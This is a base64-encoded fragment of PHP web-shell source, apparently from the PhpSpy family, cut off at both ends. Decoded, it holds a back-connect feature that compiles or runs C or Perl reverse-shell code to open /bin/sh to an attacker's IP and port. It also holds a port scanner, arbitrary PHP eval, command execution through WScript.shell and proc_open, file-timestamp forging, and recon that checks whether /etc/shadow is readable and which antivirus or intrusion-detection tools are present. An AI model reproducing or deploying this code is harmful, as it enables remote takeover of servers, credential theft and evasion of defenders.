k9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iOwoJJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQyIuCgkJIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiLgoJCSJTQXRaaUFpT3lBTkNpQmtZV1Z0YjI0b01Td3dLVHNOQ2lCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkIi4KCQkiS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISiIuCgkJInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiLgoJCSJBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcElDWnphVzRzSUhOcGVtVnZaaWh6ZEhKMVkzUWdjMjlqYTJGa1pISXBLU2s4TUNrZ2V3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1kyOXVibVZqZENncElpazdEIi4KCQkiUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcCIuCgkJIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsKCglpZiAoJHN0YXJ0ICYmICR5b3VyaXAgJiYgJHlvdXJwb3J0ICYmICR1c2UpewoJCWlmICgkdXNlID09ICdwZXJsJykgewoJCQljZignL3RtcC9hbmdlbF9iYycsJGJhY2tfY29ubmVjdCk7CgkJCSRyZXMgPSBleGVjdXRlKHdoaWNoKCdwZXJsJykuIiAvdG1wL2FuZ2VsX2JjICR5b3VyaXAgJHlvdXJwb3J0ICYiKTsKCQl9IGVsc2UgewoJCQljZignL3RtcC9hbmdlbF9iYy5jJywkYmFja19jb25uZWN0X2MpOwoJCQkkcmVzID0gZXhlY3V0ZSgnZ2NjIC1vIC90bXAvYW5nZWxfYmMgL3RtcC9hbmdlbF9iYy5jJyk7CgkJCUB1bmxpbmsoJy90bXAvYW5nZWxfYmMuYycpOwoJCQkkcmVzID0gZXhlY3V0ZSgiL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7CgkJfQoJCW0oIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gJHlvdXJpcCBwb3J0ICR5b3VycG9ydCAuLi4iKTsKCX0KCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQmFjayBDb25uZWN0JykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2JhY2tjb25uZWN0Jyk7CglwKCc8cD4nKTsKCXAoJ1lvdXIgSVA6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cmlwJywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiR5b3VyaXApKTsKCXAoJ1lvdXIgUG9ydDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VycG9ydCcsJ3NpemUnPT4xNSwndmFsdWUnPT4keW91cnBvcnQpKTsKCXAoJ1VzZTonKTsKCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4ndXNlJywnb3B0aW9uJz0+JHVzZWRiLCdzZWxlY3RlZCc9PiR1c2UpKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdGFydCcsJ3ZhbHVlJz0+J1N0YXJ0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsKCXAoJzwvcD4nKTsKCWZvcm1mb290KCk7Cn0vL2VuZAoKZWxzZWlmICgkYWN0aW9uID09ICdwb3J0c2NhbicpIHsKCSEkc2NhbmlwICYmICRzY2FuaXAgPSAnMTI3LjAuMC4xJzsKCSEkc2NhbnBvcnQgJiYgJHNjYW5wb3J0ID0gJzIxLDI1LDgwLDExMCwxMzUsMTM5LDQ0NSwxNDMzLDMzMDYsMzM4OSw1NjMxLDQzOTU4JzsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidQb3J0IFNjYW4nKSk7CgltYWtlaGlkZSgnYWN0aW9uJywncG9ydHNjYW4nKTsKCXAoJzxwPicpOwoJcCgnSVA6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2NhbmlwJywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiRzY2FuaXApKTsKCXAoJ1BvcnQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2NhbnBvcnQnLCdzaXplJz0+ODAsJ3ZhbHVlJz0+JHNjYW5wb3J0KSk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3RhcnRzY2FuJywndmFsdWUnPT4nU2NhbicsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwoKCWlmICgkc3RhcnRzY2FuKSB7CgkJcCgnPGgyPlJlc3VsdCAmcmFxdW87PC9oMj4nKTsKCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOwoJCWZvcmVhY2goZXhwbG9kZSgnLCcsICRzY2FucG9ydCkgYXMgJHBvcnQpIHsKCQkJJGZwID0gQGZzb2Nrb3Blbigkc2NhbmlwLCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCAxKTsgCgkJCWlmICghJGZwKSB7CgkJCQlwKCc8bGk+Jy4kc2NhbmlwLic6Jy4kcG9ydC4nIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSA8c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjojZjAwOyI+Q2xvc2U8L3NwYW4+PC9saT4nKTsKCQkgICB9IGVsc2UgewoJCQkJcCgnPGxpPicuJHNjYW5pcC4nOicuJHBvcnQuJyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6IzA4MDsiPk9wZW48L3NwYW4+PC9saT4nKTsKCQkJCUBmY2xvc2UoJGZwKTsKCQkgICB9IAoJCX0KCQlwKCc8L3VsPicpOwoJfQp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7CgkkcGhwY29kZSA9IHRyaW0oJHBocGNvZGUpOwoJaWYoJHBocGNvZGUpewoJCWlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgewoJCQkkcGhwY29kZSA9ICI8P3BocFxuXG57JHBocGNvZGV9XG5cbj8+IjsKCQl9CgkJZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXZhbCBQSFAgQ29kZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7CgltYWtldGV4dChhcnJheSgndGl0bGUnPT4nUEhQIENvZGUnLCduYW1lJz0+J3BocGNvZGUnLCAndmFsdWUnPT4kcGhwY29kZSkpOwoJcCgnPHA+PGEgaHJlZj0iaHR0cDovL3cnLid3dy40bmcnLidlbC5uZXQvcGhwJy4nc3B5L3BsJy4ndWdpbi8iIHRhcmdldD0iX2JsYW5rIj5HZXQgcGx1Z2luczwvYT48L3A+Jyk7Cglmb3JtZm9vdGVyKCk7Cn0vL2VuZCBldmFsCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2VkaXRmaWxlJykgewoJaWYoZmlsZV9leGlzdHMoJG9wZmlsZSkpIHsKCQkkZnA9QGZvcGVuKCRvcGZpbGUsJ3InKTsKCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJG9wZmlsZSkpOwoJCUBmY2xvc2UoJGZwKTsKCQkkY29udGVudHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0NyZWF0ZSAvIEVkaXQgRmlsZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgRmlsZSAoaW1wb3J0IG5ldyBmaWxlIG5hbWUgYW5kIG5ldyBmaWxlKScsJ25hbWUnPT4nZWRpdGZpbGVuYW1lJywndmFsdWUnPT4kb3BmaWxlLCduZXdsaW5lJz0+MSkpOwoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J0ZpbGUgQ29udGVudCcsJ25hbWUnPT4nZmlsZWNvbnRlbnQnLCd2YWx1ZSc9PiRjb250ZW50cykpOwoJZm9ybWZvb3RlcigpOwoJCglnb2JhY2soKTsKCn0vL2VuZCBlZGl0ZmlsZQoKZWxzZWlmICgkYWN0aW9uID09ICduZXd0aW1lJykgewoJJG9wZmlsZW10aW1lID0gQGZpbGVtdGltZSgkb3BmaWxlKTsKCS8vJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFyLSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOwoJJGNhY2hlbW9udGggPSBhcnJheSgnSmFudWFyeSc9PjEsJ0ZlYnJ1YXJ5Jz0+MiwnTWFyY2gnPT4zLCdBcHJpbCc9PjQsJ01heSc9PjUsJ0p1bmUnPT42LCdKdWx5Jz0+NywnQXVndXN0Jz0+OCwnU2VwdGVtYmVyJz0+OSwnT2N0b2Jlcic9PjEwLCdOb3ZlbWJlcic9PjExLCdEZWNlbWJlcic9PjEyKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDbG9uZSBmb2xkZXIvZmlsZSB3YXMgbGFzdCBtb2RpZmllZCB0aW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQWx0ZXIgZm9sZGVyL2ZpbGUnLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmb2xkZXIvZmlsZSAoZnVsbHBhdGgpJywnbmFtZSc9Pid0YXJmaWxlJywnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCWZvcm1mb290ZXIoKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXQgbGFzdCBtb2RpZmllZCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgZm9sZGVyL2ZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCXAoJzxwPnllYXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neWVhcicsJ3ZhbHVlJz0+ZGF0ZSgnWScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjQpKTsKCXAoJ21vbnRoOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21vbnRoJywndmFsdWUnPT5kYXRlKCdtJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnZGF5OicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ2hvdXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4naG91cicsJ3ZhbHVlJz0+ZGF0ZSgnSCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ21pbnV0ZTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidtaW51dGUnLCd2YWx1ZSc9PmRhdGUoJ2knLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCdzZWNvbmQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3RlcigpOwoJZ29iYWNrKCk7Cn0vL2VuZCBuZXd0aW1lCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NoZWxsJykgewoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQlpZigkcHJvZ3JhbSAmJiAkcGFyYW1ldGVyKSB7CgkJCSRzaGVsbD0gbmV3IENPTSgnU2hlbGwuQXBwbGljYXRpb24nKTsKCQkJJGEgPSAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcHJvZ3JhbSwkcGFyYW1ldGVyKTsKCQkJbSgnUHJvZ3JhbSBydW4gaGFzICcuKCEkYSA/ICdzdWNjZXNzJyA6ICdmYWlsJykpOwoJCX0KCQkhJHByb2dyYW0gJiYgJHByb2dyYW0gPSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsKCQkhJHBhcmFtZXRlciAmJiAkcGFyYW1ldGVyID0gJy9jIG5ldCBzdGFydCA+ICcuU0FfUk9PVC4nbG9nLnR4dCc7CgkJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgUHJvZ3JhbScpKTsKCQltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsKCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1Byb2dyYW0nLCduYW1lJz0+J3Byb2dyYW0nLCd2YWx1ZSc9PiRwcm9ncmFtLCduZXdsaW5lJz0+MSkpOwoJCXAoJzxwPicpOwoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsKCQltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7CgkJcCgnPC9wPicpOwoJCWZvcm1mb290KCk7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBDb21tYW5kJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7CglpZiAoSVNfV0lOICYmIElTX0NPTSkgewoJCSRleGVjZnVuY2RiID0gYXJyYXkoJ3BocGZ1bmMnPT4ncGhwZnVuYycsJ3dzY3JpcHQnPT4nd3NjcmlwdCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsKCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsKCX0KCXAoJzxwPicpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFtZSc9Pidjb21tYW5kJywndmFsdWUnPT5odG1sc3BlY2lhbGNoYXJzKCRjb21tYW5kKSkpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKCglpZiAoJGNvbW1hbmQpIHsKCQlwKCc8aHIgd2lkdGg9IjEwMCUiIG5vc2hhZGUgLz48cHJlPicpOwoJCWlmICgkZXhlY2Z1bmM9PSd3c2NyaXB0JyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7CgkJCSR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CgkJCSRleGVjID0gJHdzaC0+ZXhlYygnY21kLmV4ZSAvYyAnLiRjb21tYW5kKTsKCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsKCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsKCQkJZWNobyAkc3Ryb3V0cHV0OwoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSdwcm9jX29wZW4nICYmIElTX1dJTiAmJiBJU19DT00pIHsKCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCgkJCSAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLAoJCQkgICAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKCQkJICAgMiA9PiBhcnJheSgncGlwZScsICd3JykKCQkJKTsKCQkJJHByb2Nlc3MgPSBwcm9jX29wZW4oJF9TRVJWRVJbJ0NPTVNQRUMnXSwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOwoJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAkY29tbWFuZC4iXHJcbiIpOwoJCQkJZndyaXRlKCRwaXBlc1swXSwgImV4aXRcclxuIik7CgkJCQlmY2xvc2UoJHBpcGVzWzBdKTsKCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMV0pKSB7CgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpOwoJCQkJfQoJCQkJZmNsb3NlKCRwaXBlc1sxXSk7CgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzJdKSkgewoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsKCQkJCX0KCQkJCWZjbG9zZSgkcGlwZXNbMl0pOwoJCQkJcHJvY19jbG9zZSgkcHJvY2Vzcyk7CgkJCX0KCQl9IGVsc2UgewoJCQllY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsKCQl9CgkJcCgnPC9wcmU+Jyk7Cgl9Cn0vL2VuZCBzaGVsbAoKZWxzZWlmICgkYWN0aW9uID09ICdwaHBlbnYnKSB7CgkkdXBzaXplPWdldGNmZygnZmlsZV91cGxvYWRzJykgPyBnZXRjZmcoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSA6ICdOb3QgYWxsb3dlZCc7CgkkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsKCSEkZGlzX2Z1bmMgJiYgJGRpc19mdW5jID0gJ05vJzsJCgkkaW5mbyA9IGFycmF5KAoJCTEgPT4gYXJyYXkoJ1NlcnZlciBUaW1lJyxkYXRlKCdZL20vZCBoOmk6cycsJHRpbWVzdGFtcCkpLAoJCTIgPT4gYXJyYXkoJ1NlcnZlciBEb21haW4nLCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSwKCQkzID0+IGFycmF5KCdTZXJ2ZXIgSVAnLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwKCQk0ID0+IGFycmF5KCdTZXJ2ZXIgT1MnLFBIUF9PUyksCgkJNSA9PiBhcnJheSgnU2VydmVyIE9TIENoYXJzZXQnLCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSwKCQk2ID0+IGFycmF5KCdTZXJ2ZXIgU29mdHdhcmUnLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksCgkJNyA9PiBhcnJheSgnU2VydmVyIFdlYiBQb3J0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksCgkJOCA9PiBhcnJheSgnUEhQIHJ1biBtb2RlJyxzdHJ0b3VwcGVyKHBocF9zYXBpX25hbWUoKSkpLAoJCTkgPT4gYXJyYXkoJ1RoZSBmaWxlIHBhdGgnLF9fRklMRV9fKSwKCgkJMTAgPT4gYXJyYXkoJ1BIUCBWZXJzaW9uJyxQSFBfVkVSU0lPTiksCgkJMTEgPT4gYXJyYXkoJ1BIUElORk8nLChJU19QSFBJTkZPID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZyhcJ3BocGluZm9cJyk7Ij5ZZXM8L2E+JyA6ICdObycpKSwKCQkxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRjZmcoJ3NhZmVfbW9kZScpKSwKCQkxMyA9PiBhcnJheSgnQWRtaW5pc3RyYXRvcicsJGFkbWlubWFpbCksCgkJMTQgPT4gYXJyYXkoJ2FsbG93X3VybF9mb3BlbicsZ2V0Y2ZnKCdhbGxvd191cmxfZm9wZW4nKSksCgkJMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksCgkJMTYgPT4gYXJyYXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLAoJCTE3ID0+IGFycmF5KCdyZWdpc3Rlcl9nbG9iYWxzJyxnZXRjZmcoJ3JlZ2lzdGVyX2dsb2JhbHMnKSksCgkJMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVzX2dwYycpKSwKCQkxOSA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcpKSwKCQkyMCA9PiBhcnJheSgncG9zdF9tYXhfc2l6ZScsZ2V0Y2ZnKCdwb3N0X21heF9zaXplJykpLAoJCTIxID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwKCQkyMiA9PiBhcnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicgc2Vjb25kKHMpJyksCgkJMjMgPT4gYXJyYXkoJ2Rpc2FibGVfZnVuY3Rpb25zJywkZGlzX2Z1bmMpLAoJKTsKCglpZigkcGhwdmFybmFtZSkgewoJCW0oJHBocHZhcm5hbWUgLicgOiAnLmdldGNmZygkcGhwdmFybmFtZSkpOwoJfQoKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXJ2ZXIgZW52aXJvbm1lbnQnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBpbnB1dCBQSFAgY29uZmlndXJhdGlvbiBwYXJhbWV0ZXIoZWc6bWFnaWNfcXVvdGVzX2dwYyknLCduYW1lJz0+J3BocHZhcm5hbWUnLCd2YWx1ZSc9PiRwaHB2YXJuYW1lLCduZXdsaW5lJz0+MSkpOwoJZm9ybWZvb3RlcigpOwoKCSRocCA9IGFycmF5KDA9PiAnU2VydmVyJywgMT0+ICdQSFAnKTsKCWZvcigkYT0wOyRhPDI7JGErKykgewoJCXAoJzxoMj4nLiRocFskYV0uJyAmcmFxdW87PC9oMj4nKTsKCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOwoJCWlmICgkYT09MCkgewoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7CgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7CgkJCX0KCQl9IGVsc2VpZiAoJGEgPT0gMSkgewoJCQlmb3IoJGk9MTA7JGk8PTIzOyRpKyspIHsKCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsKCQkJfQoJCX0KCQlwKCc8L3VsPicpOwoJfQp9Ly9lbmQgcGhwZW52CgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NlY2luZm8nKSB7CgkKCXNlY3BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7CglzZWNwYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICgkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSk/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsKCXNlY3BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsKCXNlY3BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOwoJc2VjcGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7CglzZWNwYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7CgkkdGVtcD1hcnJheSgpOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkKCQkkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiTVNTUUwiOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpCgkJJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKCQkkdGVtcFtdID0gIk9yYWNsZSI7CglzZWNwYXJhbSgnU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXApKTsKCQoJaWYoICFJU19XSU4gKSB7CgkJJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CgkJJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7CgkJJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CgkJc2VjcGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dkJywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpID8gInllcyIgOiAnbm8nKTsKCQlzZWNwYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNfcmVhZGFibGUoJy9ldGMvc2hhZG93JykgPyAieWVzIiA6ICdubycpOwoJCXNlY3BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOwoJCXNlY3BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsKCQkkc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwoJCWlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKCQkJJHRlbXA9YXJyYXkoKTsKCQkJZm9yZWFjaCAoJHVzZXJmdWw